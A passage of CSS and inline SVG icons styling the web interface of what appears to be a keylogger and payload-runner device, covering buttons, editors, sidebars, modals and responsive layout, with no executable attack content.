39.99 32.52'><path fill='white' d='m37.56,0H2.43C1.09,0,0,1.09,0,2.43v16.64c0,2.09,1.69,3.78,3.78,3.78h32.43c2.09,0,3.78-1.69,3.78-3.78V2.43c0-1.34-1.09-2.43-2.43-2.43Zm-11.85,3.81h3.81v3.81h-3.81v-3.81Zm0,5.71h3.81v3.81h-3.81v-3.81Zm-5.71-5.71h3.81v3.81h-3.81v-3.81h0Zm0,5.71h3.81v3.81h-3.81v-3.81h0Zm-5.71-5.71h3.81v3.81h-3.81v-3.81Zm0,5.71h3.81v3.81h-3.81v-3.81Zm-5.71-5.71h3.81v3.81h-3.81v-3.81Zm0,5.71h3.81v3.81h-3.81v-3.81Zm-1.9,9.52h-3.81v-3.81h3.81v3.81Zm0-5.71h-3.81v-3.81h3.81v3.81Zm0-5.71h-3.81v-3.81h3.81v3.81Zm24.76,11.43H8.57v-3.81h22.85v3.81Zm5.71,0h-3.81v-3.81h3.81v3.81Zm0-5.71h-5.71V3.81h5.71v9.52Z'/><g><rect style='fill: grey' x='20.92' y='23.2' width='2.34' height='9.93' transform='translate(-13.45 23.87) rotate(-45)'/><circle style='fill: grey' cx='12.39' cy='18.47' r='9.35'/></g><rect style='fill: grey' x='21.87' y='25.56' width='2.34' height='7.19' transform='translate(-13.87 24.83) rotate(-45)'/><circle style='fill: white' cx='12.39' cy='18.47' r='7.6'/><path style='fill: grey' d='m16.42,15.08c-.99-1.17-2.46-1.87-4.03-1.87s-3.04.7-4.03,1.87c-.23.23-.18.64.06.82.23.23.64.18.82-.06.82-.94,1.93-1.46,3.16-1.46s2.34.53,3.16,1.46c.12.12.29.23.47.23.12,0,.29-.06.35-.12.23-.23.23-.64.06-.88h-.01Z'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_keylogDownload {\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 39.98 40'><path id='update' fill='white' d='m34.11,34.15l4.72,4.72c.12.12.2.29.2.47,0,.37-.3.67-.67.67h-13.05c-.74,0-1.33-.6-1.33-1.33v-13.05c0-.18.07-.35.2-.47.26-.26.68-.26.94,0l5.21,5.21c2.11-2.11,3.53-4.82,4.06-7.75,1.45-7.97-3.84-15.61-11.81-17.06-7.97-1.45-15.61,3.84-17.06,11.81s3.84,15.61,11.81,17.06v5.39C7.39,38.46-.01,29.98,0,19.97.01,8.93,8.97-.01,20.01,0c11.04.01,19.98,8.97,19.97,20.01,0,5.31-2.11,10.4-5.87,14.14Z'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_payloadLoad {\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30.48 39.88'><polygon fill='white' points='30.48 39.88 0 39.88 0 9.88 20.95 9.88 30.48 19.4 30.48 39.88'/><polygon fill='white' points='29.05 20.35 20 20.35 20 11.3 29.05 20.35'/><polygon fill='grey' points='22.87 9.09 7.61 9.09 15.24 0 22.87 9.09'/><rect fill='grey' x='12.46' y='24.19' width='5.55' height='2.78'/><rect fill='grey' x='12.46' y='20.03' width='5.55' height='2.78'/><rect fill='grey' x='12.46' y='7.01' width='5.55' height='7.63'/><rect fill='grey' x='2.75' y='34.3' width='24.98' height='2.78'/><rect fill='grey' x='2.75' y='29.22' width='24.98' height='2.78'/><rect fill='grey' x='12.46' y='15.95' width='5.55' height='2.78'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_keylogLiveLog {\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 38 40'><path style='fill: white;' d='m32,0H6C2.7,0,0,2.7,0,6v34l6-6h26c3.3,0,6-2.7,6-6V6c0-3.3-2.7-6-6-6ZM9,20c-1.66,0-3-1.34-3-3s1.34-3,3-3,3,1.34,3,3-1.34,3-3,3Zm10,0c-1.66,0-3-1.34-3-3s1.34-3,3-3,3,1.34,3,3-1.34,3-3,3Zm10,0c-1.66,0-3-1.34-3-3s1.34-3,3-3,3,1.34,3,3-1.34,3-3,3Z'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_keylogSave,\n\t\t#ico_payloadSave {\n\t\t\tmargin-right: 8px;\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30.48 39.88'><polygon fill='white' points='30.48 39.88 0 39.88 0 9.88 20.95 9.88 30.48 19.4 30.48 39.88'/><polygon fill='white' points='29.05 20.35 20 20.35 20 11.3 29.05 20.35'/><polygon fill='grey' points='15.24 26.97 7.61 17.88 22.87 17.88 15.24 26.97'/><rect fill='grey' x='12.46' width='5.55' height='2.78'/><rect fill='grey' x='12.46' y='4.16' width='5.55' height='2.78'/><rect fill='grey' x='12.46' y='12.33' width='5.55' height='7.63'/><rect fill='grey' x='2.75' y='34.3' width='24.98' height='2.78'/><rect fill='grey' x='2.75' y='29.22' width='24.98' height='2.78'/><rect fill='grey' x='12.46' y='8.24' width='5.55' height='2.78'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_payloadBuild {\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 39.99 39.99'><path fill='white' d='m35.55,0H4.44C2,0,0,2,0,4.44v31.11c0,2.44,2,4.44,4.44,4.44h31.11c2.44,0,4.44-2,4.44-4.44V4.44c0-2.44-2-4.44-4.44-4.44ZM11.44,30.94c-1.16,1.22-3.21,2.98-4.75,1.08-1.86-2.28.14-3.37,1.4-4.72l9.69-8.82h0s3.33,3.49,3.33,3.49l-9.66,8.97Zm16.48-6.43l-2.59-2.62,2.12-2.03-2.67-2.33-2.17,1.96-3.33-3.18,2.65-2.57c-1.97-3.43-4.67-4.99-7.5-4.86,6.29-3.94,11.32.06,11.32.06l2.59,3.24-1.06,2.6,2.3,2.38,2.75-2.36,2.53,2.97-6.96,6.75Z'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_keylogRun,\n\t\t#ico_payloadRun {\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 40 40'><path style='fill: white;' d='m35.56,0H4.44C2,0,0,2,0,4.44v31.11c0,2.44,2,4.44,4.44,4.44h31.11c2.44,0,4.44-2,4.44-4.44V4.44c0-2.44-2-4.44-4.44-4.44ZM15.56,28.89V11.11l12.22,8.89-12.22,8.89Z'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_fsnobrick,\n\t\t#ico_fsnoeat,\n\t\t#ico_fsnofire,\n\t\t#ico_fsnowater {\n\t\t\twidth: 80px;\n\t\t\tbackground-repeat: no-repeat;\n\t\t}\n\t\t\n\t\t#fsIcons {\n\t\t\tdisplay: grid;\n\t\t\tgrid-template-columns: repeat(2, minmax(0, 250px));\n\t\t\tgrid-template-rows: repeat(2, minmax(0, 150px));\n\t\t\tgrid-gap: 40px;\n\t\t\tjustify-content: center;\n\t\t\ttext-align: center;\n\t\t}\n\t\t\n\t\t#fsIcons svg {\n\t\t\twidth: 100%;\n\t\t\theight: 100%;\n\t\t}\n\t\t\n\t\t#ico_settings,\n\t\t#ico_about,\n\t\t#ico_help {\n\t\t\tmargin-top: 8px;\n\t\t\twidth: 34px;\n\t\t\theight: 34px;\n\t\t\tbackground-repeat: no-repeat;\n\t\t}\n\t\t\n\t\t#ico_keylog,\n\t\t#ico_payload,\n\t\t#ico_syslog {\n\t\t\twidth: 34px;\n\t\t\theight: 34px;\n\t\t\tbackground-repeat: no-repeat;\n\t\t}\n\t\t\n\t\t#ico_keylog {\n\t\t\theight: 28px;\n\t\t}\n\t\t\n\t\t#ico_syslog {\n\t\t\theight: 30px;\n\t\t}\n\t\t\n\t\t#ico_keylogDownload,\n\t\t#ico_keylogLiveLog,\n\t\t#ico_keylogRun,\n\t\t#ico_keylogSave,\n\t\t#ico_payloadBuild,\n\t\t#ico_payloadLoad,\n\t\t#ico_payloadRun,\n\t\t#ico_payloadSave,\n\t\t#ico_wifi {\n\t\t\twidth: 32px;\n\t\t\theight: 32px;\n\t\t\tbackground-repeat: no-repeat;\n\t\t}\n\t\t\n\t\t#ico_wifi {\n\t\t\twidth: 35px;\n\t\t\theight: 35px;\n\t\t}\n\t\t\n\t\t#modelText {\n\t\t\tposition: absolute;\n\t\t\tleft: 45px;\n\t\t\ttop: 2px;\n\t\t\ttext-transform: uppercase;\n\t\t}\n\t\t\n\t\t#modal {\n\t\t\ttop: calc((var(--app-height) - 320px)/2);\n\t\t\theight: 320px;\n\t\t}\n\t\t\n\t\t#modalLabel {\n\t\t\ttext-align: left;\n\t\t\tcolor: var(--navColor);\n\t\t\tpadding-left: 5px;\n\t\t\tpadding-top: 5px;\n\t\t}\n\t\t\n\t\t#modalMessage {\n\t\t\tcolor: var(--fontColor);\n\t\t\tpadding-left: 5px;\n\t\t\tpadding-right: 5px;\n\t\t\twidth: 100%;\n\t\t}\n\t\t\n\t\t#modalButtons {\n\t\t\tdisplay: flex;\n\t\t\tflex-grow: auto;\n\t\t\tposition: absolute;\n\t\t\tbottom: 5px;\n\t\t\tright: 5px;\n\t\t\twidth: calc(100% - 10px);\n\t\t}\n\t\t\n\t\t#navbarAlerts {\n\t\t\tmargin-top: 8px;\n\t\t\ttop: 0px;\n\t\t\tdisplay: inline-block;\n\t\t\ttext-align: center;\n\t\t\talign-content: center;\n\t\t\tmax-width: 180px;\n\t\t\tmin-width: 10px;\n\t\t\tline-height: normal;\n\t\t}\n\t\t\n\t\t#navbar-Links svg {\n\t\t\tpadding-top: 7px;\n\t\t}\n\t\t\n\t\t#payloadLoadMenu,\n\t\t#payloadSaveMenu,\n\t\t#payloadFileMenu {\n\t\t\tposition: fixed;\n\t\t\theight: 240px;\n\t\t\tbottom: 57px;\n\t\t\tleft: 10px;\n\t\t\tpadding: 10px;\n\t\t\tbackground-color: var(--inactiveGradient2);\n\t\t\tborder-top-left-radius: 10px;\n\t\t\tborder-top-right-radius: 10px;\n\t\t\tbackground-image: -webkit-linear-gradient(top, var(--inactiveGradient1), var(--inactiveGradient2));\n\t\t\tbackground-image: -moz-linear-gradient(top, var(--inactiveGradient1), var(--inactiveGradient2));\n\t\t\tbackground-image: -ms-linear-gradient(top, var(--inactiveGradient1), var(--inactiveGradient2));\n\t\t\tbackground-image: -o-linear-gradient(top, var(--inactiveGradient1), var(--inactiveGradient2));\n\t\t\tbackground-image: linear-gradient(to bottom, var(--inactiveGradient1), var(--inactiveGradient2));\n\t\t\n\t\t}\n\t\t\n\t\t#fileMenuFlex {\n\t\t\tdisplay: flex;\n\t\t\tjustify-content: left;\n\t\t}\n\t\t\n\t\t#columnLeft,\n\t\t#columnRight {\n\t\t\tdisplay: flex;\n\t\t\tflex-direction: column;\n\t\t\tgap: 10px;\n\t\t\t/* adjust as needed */\n\t\t}\n\t\t\n\t\t#columnLeft,\n\t\t#columnLeft input {\n\t\t\twidth: 246px;\n\t\t}\n\t\t\n\t\t#columnRight {\n\t\t\tpadding-left: 5px;\n\t\t\twidth: 100px;\n\t\t}\n\t\t\n\t\t.payloadList {\n\t\t\tpadding: 10px;\n\t\t\tfont-size: 16px;\n\t\t\tborder: 1px solid #ccc;\n\t\t\tborder-radius: 4px;\n\t\t\tbox-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n\t\t\twidth: 100%;\n\t\t}\n\t\t\n\t\t.payloadList:focus {\n\t\t\toutline: 0;\n\t\t\tborder-color: #66afe9;\n\t\t\tbox-shadow: 0 0 0 3px rgba(102, 175, 233, .6);\n\t\t}\n\t\t\n\t\tselect {\n\t\t\tpadding: 8px;\n\t\t\tfont-size: 16px;\n\t\t\tborder: 1px solid #ccc;\n\t\t\tborder-radius: 4px;\n\t\t\tbox-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n\t\t\tappearance: none;\n\t\t\t-webkit-appearance: none;\n\t\t\t-moz-appearance: none;\n\t\t\tbackground-color: rgba(0, 0, 0, .075);\n\t\t\tcolor: white;\n\t\t\tappearance: none;\n\t\t\t-webkit-appearance: none;\n\t\t\t-moz-appearance: none;\n\t\t}\n\t\t\n\t\tselect:focus {\n\t\t\toutline: 0;\n\t\t\tborder-color: #66afe9;\n\t\t\tbox-shadow: 0 0 0 3px rgba(102, 175, 233, .6);\n\t\t}\n\t\t\n\t\t#deviceSelect {\n\t\t\theight: 40px;\n\t\t\tpadding-top: 7px;\n\t\t}\n\t\t\n\t\t#sidebar {\n\t\t\tmax-height: calc(var(--app-height) - 50px);\n\t\t\tposition: absolute;\n\t\t\ttop: 50px;\n\t\t\tright: 0;\n\t\t\twidth: 320px;\n\t\t\tmargin: 0;\n\t\t\toverflow: auto;\n\t\t\tbackground-color: var(--sidebarGradient);\n\t\t\t-webkit-box-shadow: -6px 0 15px 5px var(--sidebarGradient);\n\t\t\tbox-shadow: -6px 0 15px 5px var(--sidebarGradient);\n\t\t\theight: var(--app-height);\n\t\t}\n\t\t\n\t\t#sidebar,\n\t\t#sidebar a:active,\n\t\t#sidebar a:link,\n\t\t#sidebar a:visited {\n\t\t\tcolor: var(--navColor);\n\t\t}\n\t\t\n\t\t#releaseTeam a,\n\t\t#sidebar a:hover,\n\t\t.about-twitter a {\n\t\t\tcolor: var(--accentColor);\n\t\t}\n\t\t\n\t\t#sidebar input {\n\t\t\tcolor: var(--fontColor);\n\t\t}\n\t\t\n\t\t#sidebar_about,\n\t\t#sidebar_help,\n\t\t#sidebar_settings {\n\t\t\tpadding-left: 10px;\n\t\t}\n\t\t\n\t\t#sidebar_settings_subnav {\n\t\t\twidth: calc(100% - 10px);\n\t\t\tpadding-left: 0;\n\t\t}\n\t\t\n\t\t#subnav button {\n\t\t\tborder-bottom-left-radius: 0;\n\t\t\tborder-bottom-right-radius: 0;\n\t\t\tmargin-inline: 1px;\n\t\t}\n\t\t\n\t\t.about-role {\n\t\t\tmargin-bottom: 20px;\n\t\t}\n\t\t\n\t\t.about-section-credits {\n\t\t\tmargin-bottom: 0;\n\t\t\tcolumns: 2;\n\t\t}\n\t\t\n\t\t.about-team-name {\n\t\t\tfont-size: 14px;\n\t\t\tcolor: var(--bgColor1);\n\t\t\tmargin-right: 10px;\n\t\t}\n\t\t\n\t\t.about-role,\n\t\t.about-twitter {\n\t\t\tfont-size: 12px;\n\t\t\tcolor: var(--navColor);\n\t\t}\n\t\t\n\t\t.button-container {\n\t\t\tposition: relative;\n\t\t\tleft: 0;\n\t\t\ttop: 0;\n\t\t\ttransform: translate(0, 0);\n\t\t}\n\t\t\n\t\t.buttonSelected,\n\t\t.buttonSelected:hover,\n\t\t.buttonRunning,\n\t\t.buttonRunning:hover {\n\t\t\tbackground: var(--accentColor);\n\t\t\tbackground-image: -webkit-linear-gradient(top, var(--accentGradient1), var(--accentGradient2));\n\t\t\tbackground-image: -moz-linear-gradient(top, var(--accentGradient1), var(--accentGradient2));\n\t\t\tbackground-image: -ms-linear-gradient(top, var(--accentGradient1), var(--accentGradient2));\n\t\t\tbackground-image: -o-linear-gradient(top, var(--accentGradient1), var(--accentGradient2));\n\t\t\tbackground-image: linear-gradient(to bottom, var(--accentGradient1), var(--accentGradient2));\n\t\t}\n\t\t\n\t\t.buttonSelected:hover,\n\t\t.buttonRunning:hover {\n\t\t\tbackground-image: -webkit-linear-gradient(top, var(--accentGradient1), var(--accentGradient2));\n\t\t\tbackground-image: -moz-linear-gradient(top, var(--accentGradient1), var(--accentGradient2));\n\t\t\tbackground-image: -ms-linear-gradient(top, var(--accentGradient1), var(--accentGradient2));\n\t\t\tbackground-image: -o-linear-gradient(top, var(--accentGradient1), var(--accentGradient2));\n\t\t\tbackground-image: linear-gradient(to bottom, var(--accentGradient1), var(--accentGradient2));\n\t\t}\n\t\t\n\t\t.close,\n\t\t.closeModal {\n\t\t\tcolor: var(--fontColor);\n\t\t\tfloat: right;\n\t\t\tfont-size: 2rem;\n\t\t\tfont-weight: 700;\n\t\t\tline-height: 1;\n\t\t\ttext-shadow: 0 1px 0 var(--navColor);\n\t\t\tbackground-color: var(--bgColor3);\n\t\t\tborder-color: var(--bgColor3);\n\t\t\tposition: fixed;\n\t\t\tright: 0;\n\t\t\ttop: 50px;\n\t\t}\n\t\t\n\t\t.closeModal {\n\t\t\tright: 0px;\n\t\t\ttop: 0;\n\t\t\tposition: absolute;\n\t\t}\n\t\t\n\t\t.contentFullscreen {\n\t\t\twidth: calc(100%);\n\t\t}\n\t\t\n\t\t.contentSidebar {\n\t\t\twidth: calc(100% - 325px);\n\t\t}\n\t\t\n\t\t.footerSidebar {\n\t\t\twidth: calc(100% - 365px);\n\t\t}\n\t\t\n\t\t.footerFullscreen {\n\t\t\twidth: calc(100% - 40px);\n\t\t}\n\t\t\n\t\t.editor-wrapper {\n\t\t\tdisplay: flex;\n\t\t\tposition: relative;\n\t\t}\n\t\t\n\t\t.editor div {\n\t\t\tposition: relative;\n\t\t\twhite-space: pre-wrap;\n\t\t}\n\t\t\n\t\t.debug-info {\n\t\t\tposition: absolute;\n\t\t\ttop: 0;\n\t\t\tright: 0;\n\t\t\tmargin-right: 14px;\n\t\t\tbackground-color: rgba(0, 0, 0, .5);\n\t\t\tcolor: #fff;\n\t\t\tfont-size: 12px;\n\t\t\tz-index: 10;\n\t\t}\n\t\t\n\t\t.editor {\n\t\t\tbackground-color: var(--bgColor3);\n\t\t\tborder-color: var(--bgColor2);\n\t\t\tcolor: var(--fontColor);\n\t\t\tborder-left-width: 4px;\n\t\t\tfont-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n\t\t\tfont-size: 16px;\n\t\t\tfont-weight: 400;\n\t\t\tline-height: 1.3;\n\t\t\toutline: 0;\n\t\t\toverflow-y: auto;\n\t\t\tmargin-left: 11px;\n\t\t\theight: calc(100dvh - 195px);\n\t\t\tpadding-bottom: 0;\n\t\t\tborder-bottom: 0;\n\t\t}\n\t\t\n\t\t.editor div {\n\t\t\tdisplay: block;\n\t\t}\n\t\t\n\t\t.editorKeylog {\n\t\t\tpadding-bottom: 0;\n\t\t\tborder-bottom: 0;\n\t\t\theight: calc(100dvh - 195px);\n\t\t\tborder-left-color: var(--accentGradient1);\n\t\t}\n\t\t\n\t\t.editorKeylog,\n\t\t.editorSyslog,\n\t\t.editorc2log,\n\t\t.editorPayload {\n\t\t\tbackground-color: var(--bgColor3);\n\t\t\tborder-color: var(--bgColor2);\n\t\t\tcolor: var(--fontColor);\n\t\t\tdisplay: inline-flex;\n\t\t\tmargin-left: 11px;\n\t\t\twidth: calc(100% - 22px);\n\t\t\tborder-left-width: 0px;\n\t\t\tfont-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n\t\t\tfont-size: 16px;\n\t\t\tfont-weight: 400;\n\t\t\tline-height: 1.3;\n\t\t}\n\t\t\n\t\t.editorSyslog,\n\t\t.editorc2log {\n\t\t\theight: calc(100dvh - 127px);\n\t\t\tborder-left-color: var(--inactiveGradient1);\n\t\t}\n\t\t\n\t\t.fccNotice {\n\t\t\tfont-size: 12px;\n\t\t}\n\t\t\n\t\t.footer {\n\t\t\twidth: calc(100% - 22px);\n\t\t\tpadding-top: 0;\n\t\t}\n\t\t\n\t\t.headingModal {\n\t\t\theight: 40px;\n\t\t}\n\t\t\n\t\t.helpHeader {\n\t\t\tbackground: var(--inactiveColor);\n\t\t\tbackground-image: -webkit-linear-gradient(top, var(--inactiveGradient1), var(--inactiveGradient2));\n\t\t\tbackground-image: -moz-linear-gradient(top, var(--inactiveGradient1), var(--inactiveGradient2));\n\t\t\tbackground-image: -ms-linear-gradient(top, var(--inactiveGradient1), var(--inactiveGradient2));\n\t\t\tbackground-image: -o-linear-gradient(top, var(--inactiveGradient1), var(--inactiveGradient2));\n\t\t\tbackground-image: linear-gradient(to bottom, var(--inactiveGradient1), var(--inactiveGradient2));\n\t\t\t-webkit-border-radius: 5;\n\t\t\t-moz-border-radius: 5;\n\t\t\tborder-radius: 5px;\n\t\t\tcolor: var(--navColor);\n\t\t\twidth: 100%;\n\t\t}\n\t\t\n\t\t.hidden {\n\t\t\tdisplay: none;\n\t\t}\n\t\t\n\t\t.key {\n\t\t\tbackground-color: var(--bgColor3);\n\t\t\tdisplay: grid;\n\t\t\tgrid-template-columns: 50% 50%;\n\t\t\tgrid-row: auto auto;\n\t\t}\n\t\t\n\t\t.navLabel {\n\t\t\tvertical-align: middle;\n\t\t}\n\t\t\n\t\t.partitionEditorFieldWrapper {\n\t\t\tdisplay: flex;\n\t\t}\n\t\t\n\t\t.partitionEditorFieldLabel {\n\t\t\twidth: 140px;\n\t\t}\n\t\t\n\t\t.progressBar {\n\t\t\tcolor: var(--fontColor);\n\t\t\tbackground-color: var(--bgColor3);\n\t\t\tfont-size: 10px;\n\t\t}\n\t\t\n\t\t.progressFilled,\n\t\t.progressFilled:after,\n\t\t.progressFilled:before {\n\t\t\tpadding: .01em;\n\t\t\tcolor: var(--fontColor);\n\t\t\tbackground-color: var(--accentGradient1);\n\t\t\ttext-align: center;\n\t\t\tmargin-bottom: 4px;\n\t\t}\n\t\t\n\t\t.submitButton {\n\t\t\tposition: relative;\n\t\t\tdisplay: grid;\n\t\t\tfont-size: large;\n\t\t\tcolor: var(--navColor);\n\t\t\tbackground-color: inherit;\n\t\t\tborder-color: var(--bgColor2);\n\t\t}\n\t\t\n\t\t.subnav {\n\t\t\tdisplay: flex;\n\t\t\tflex-grow: auto;\n\t\t\tpadding-left: 10px;\n\t\t\tpadding-top: 10px;\n\t\t\tmargin-bottom: 0;\n\t\t\tpadding-bottom: 0;\n\t\t}\n\t\t\n\t\t.footer button {\n\t\t\tborder-top-left-radius: 0;\n\t\t\tborder-top-right-radius: 0;\n\t\t\tmargin-inline: 1px;\n\t\t}\n\t\t\n\t\t.subnav svg {\n\t\t\tpadding-right: 10px;\n\t\t}\n\t\t\n\t\t.subnav {\n\t\t\twidth: calc(100% - 20px);\n\t\t}\n\t\t\n\t\t.subnavSidebar {\n\t\t\twidth: calc(100% - 325px - 20px);\n\t\t}\n\t\t\n\t\t.toast {\n\t\t\t-webkit-animation: slide .5s forwards;\n\t\t\t-webkit-animation-delay: 4s;\n\t\t\tanimation: slide .5s forwards;\n\t\t\tanimation-delay: 4s;\n\t\t\tbackground: var(--bgColor3);\n\t\t\tborder-radius: 10px;\n\t\t\tbox-shadow: inset 20px 20px 30px var(--inactiveGradient1), inset -20px -20px 30px var(--inactiveGradient2);\n\t\t\tcolor: var(--navColor);\n\t\t\tdisplay: inline-block;\n\t\t\tfloat: left;\n\t\t\tfont-size: 1rem;\n\t\t\tfont-weight: 700;\n\t\t\tright: 350px;\n\t\t\tmax-height: 120px;\n\t\t\tmin-height: 48px;\n\t\t\toverflow: hidden;\n\t\t\tpadding-left: 5px;\n\t\t\tposition: absolute;\n\t\t\ttext-overflow: clip;\n\t\t\ttext-transform: uppercase;\n\t\t\ttop: 1px;\n\t\t\twhite-space: wrap;\n\t\t\twidth: 320px;\n\t\t\tz-index: 1;\n\t\t}\n\t\t\n\t\t.toggle-button {\n\t\t\tbackground: var(--bgColor1);\n\t\t\twidth: 80px;\n\t\t\theight: 20px;\n\t\t\tborder-radius: 30px;\n\t\t\tpadding: 5px;\n\t\t\tcursor: pointer;\n\t\t\ttransition: all 300ms ease-in-out;\n\t\t}\n\t\t\n\t\t.toggle-button>.inner-circle {\n\t\t\tbackground: var(--navColor);\n\t\t\twidth: 20px;\n\t\t\theight: 20px;\n\t\t\tborder-radius: 50%;\n\t\t\ttransition: all 300ms ease-in-out;\n\t\t}\n\t\t\n\t\t.toggle-button.active {\n\t\t\tbackground: var(--toggleOnColor);\n\t\t}\n\t\t\n\t\t.toggle-button.active>.inner-circle {\n\t\t\tmargin-left: 60px;\n\t\t}\n\t\t\n\t\t.updateButton,\n\t\t.updateButtonLarge {\n\t\t\tposition: relative;\n\t\t\tdisplay: inline-block;\n\t\t\tcolor: var(--navColor);\n\t\t\tbackground-color: inherit;\n\t\t\tborder-color: var(--bgColor2);\n\t\t\theight: 24px;\n\t\t\ttop: 0;\n\t\t\tleft: -6px;\n\t\t\tpadding-top: 3px;\n\t\t}\n\t\t\n\t\t.updateButtonLarge {\n\t\t\theight: 40px;\n\t\t\ttop: -4px;\n\t\t\tleft: -4px;\n\t\t\tmargin-left: 0;\n\t\t\talign-items: center;\n\t\t\tjustify-content: center;\n\t\t\ttext-align: center;\n\t\t}\n\t\t\n\t\t.buttonMergeLeft {\n\t\t\tborder-top-left-radius: 0;\n\t\t\tborder-bottom-left-radius: 0;\n\t\t}\n\t\t\n\t\t.buttonMergeRight {\n\t\t\tborder-top-right-radius: 0;\n\t\t\tborder-bottom-right-radius: 0;\n\t\t}\n\t\t\n\t\t.visible {\n\t\t\tvisibility: visible;\n\t\t}\n\t\t\n\t\t.wifiSignalOn {\n\t\t\tfill: var(--navColor);\n\t\t}\n\t\t\n\t\tdialog {\n\t\t\twidth: 60%;\n\t\t\theight: fit-content;\n\t\t\tbackground: #111;\n\t\t\tcolor: var(--navColor);\n\t\t\tborder-radius: 10px;\n\t\t\tborder-color: var(--bgColor2);\n\t\t}\n\t\t\n\t\t.close-button {\n\t\t\tposition: absolute;\n\t\t\ttop: 10px;\n\t\t\tright: 10px;\n\t\t\tborder: none;\n\t\t\tbackground: transparent;\n\t\t\tfont-size: 20px;\n\t\t\tcursor: pointer;\n\t\t}\n\t\t\n\t\t#color-container {\n\t\t\tposition: relative;\n\t\t\twidth: 100%;\n\t\t\theight: 40px;\n\t\t}\n\t\t\n\t\t#color-slider {\n\t\t\tposition: absolute;\n\t\t\ttop: 12px;\n\t\t\twidth: 200px;\n\t\t\tmargin: 0;\n\t\t\tz-index: 1;\n\t\t}\n\t\t\n\t\t#color-box {\n\t\t\tposition: absolute;\n\t\t\ttop: 10px;\n\t\t\twidth: 200px;\n\t\t\theight: 20px;\n\t\t\tbackground: linear-gradient(to right, hsl(0, 70%, 50%), hsl(120, 70%, 50%), hsl(240, 70%, 50%), hsl(359, 70%, 50%));\n\t\t\tborder-radius: 10px;\n\t\t}\n\t\t\n\t\t#apply-color {\n\t\t\tposition: absolute;\n\t\t\ttop: 0px;\n\t\t\tright: 20px;\n\t\t}\n\t\t\n\t\t#firstTimeSetupAgree, #firstTimeSetupAgreePage2, #firstTimeSetupAgreePage3 {\n\t\t\tbottom: 20px;\n\t\t\tleft: 20px;\n\t\t\twidth: calc(100% - 40px);\n\t\t}\n\t\t\n\t\t#firstTimeSetup, ##firstTimeSetupPage2, #firstTimeSetupPage3 {\n\t\t\tposition: fixed;\n\t\t\tvertical-align: middle;\n\t\t\ttop: 50px;\n\t\t\twidth: 250px;\n\t\t\theight: 500px;\n\t\t\tborder-radius: 5px;\n\t\t\tbackground-color: var(--bgColor2);\n\t\t\t-webkit-box-shadow: 5px 5px 15px 5px var(--inactiveGradient2);\n\t\t\tbox-shadow: 5px 5px 15px 5px var(--inactiveGradient2);\n\t\t\tcolor: var(--navColor);\n\t\t\tpadding-left: 5px;\n\t\t\tpadding-top: 5px;\n\t\t\tz-index: 1000;\n\t\t\t\n\t\t\t&::backdrop {\n\t\t\t\tbackground-color: rgba(0, 0, 0, 0.5);\n\t\t\t\tbackdrop-filter: blur(5px);\n\t\t\t\t-webkit-backdrop-filter: blur(5px);\n\t\t\t}\n\t\t\t\n\t\t\th2 {\n\t\t\t\ttext-align: center;\n\t\t\t}\n\t\t}\n\t\t\n\t\t@media (max-width:700px) {\n\t\t\t#navbarAlerts {\n\t\t\t\tdisplay: none;\n\t\t\t}\n\t\t\t.toast {\n\t\t\t\twidth: 320px;\n\t\t\t\tright: 150px;\n\t\t\t}\n\t\t}\n\t\t\n\t\t@media (max-width:550px) {\n\t\t\t.toast {\n\t\t\t\twidth: 320px;\n\t\t\t\tright: 10px;\n\t\t\t}\n\t\t\n\t\t\t#firstTimeSetup, #firstTimeSetupPage2, #firstTimeSetupPage3 {\n\t\t\t\tposition: absolute;\n\t\t\t\tvertical-align: middle;\n\t\t\t\tfloat: left;\n\t\t\t\ttop: 50px;\n\t\t\t\twidth: 90%;\n\t\t\t\theight: 90dvh;\n\t\t\t\tborder-radius: 5px;\n\t\t\t\tbackground-color: var(--bgColor2);\n\t\t\t\t-webkit-box-shadow: 5px 5px 15px 5px var(--inactiveGradient2);\n\t\t\t\tbox-shadow: 5px 5px 15px 5px var(--inactiveGradient2);\n\t\t\t\tcolor: var(--navColor);\n\t\t\t\tpadding-left: 5px;\n\t\t\t\tpadding-top: 5px;\n\t\t\t}\n\t\t}\n\t\t\n\t\t@media (max-width:530px) {\n\t\t\tbody {\n\t\t\t\theight: var(--app-height)\n\t\t\t}\n\t\t\n\t\t\t.navLabel {\n\t\t\t\tdisplay: none\n\t\t\t}\n\t\t\n\t\t\t.navIcon {\n\t\t\t\tdisplay: none\n\t\t\t}\n\t\t\n\t\t\t.contentFullscreen {\n\t\t\t\twidth: calc(100%);\n\t\t\t}\n\t\t\n\t\t\t.contentFooter {\n\t\t\t\twidth: calc(100% - 40px);\n\t\t\t}\n\t\t\n\t\t\t.contentSidebar {\n\t\t\t\tdisplay: none\n\t\t\t}\n\t\t\n\t\t\t.subnavFullscreen {\n\t\t\t\twidth: calc(100% - 20px)\n\t\t\t}\n\t\t\n\t\t\t.subnavSidebar {\n\t\t\t\tdisplay: none\n\t\t\t}\n\t\t\n\t\t\t#sidebar {\n\t\t\t\twidth: 100%\n\t\t\t}\n\t\t\n\t\t\t#navbarAlerts {\n\t\t\t\tdisplay: 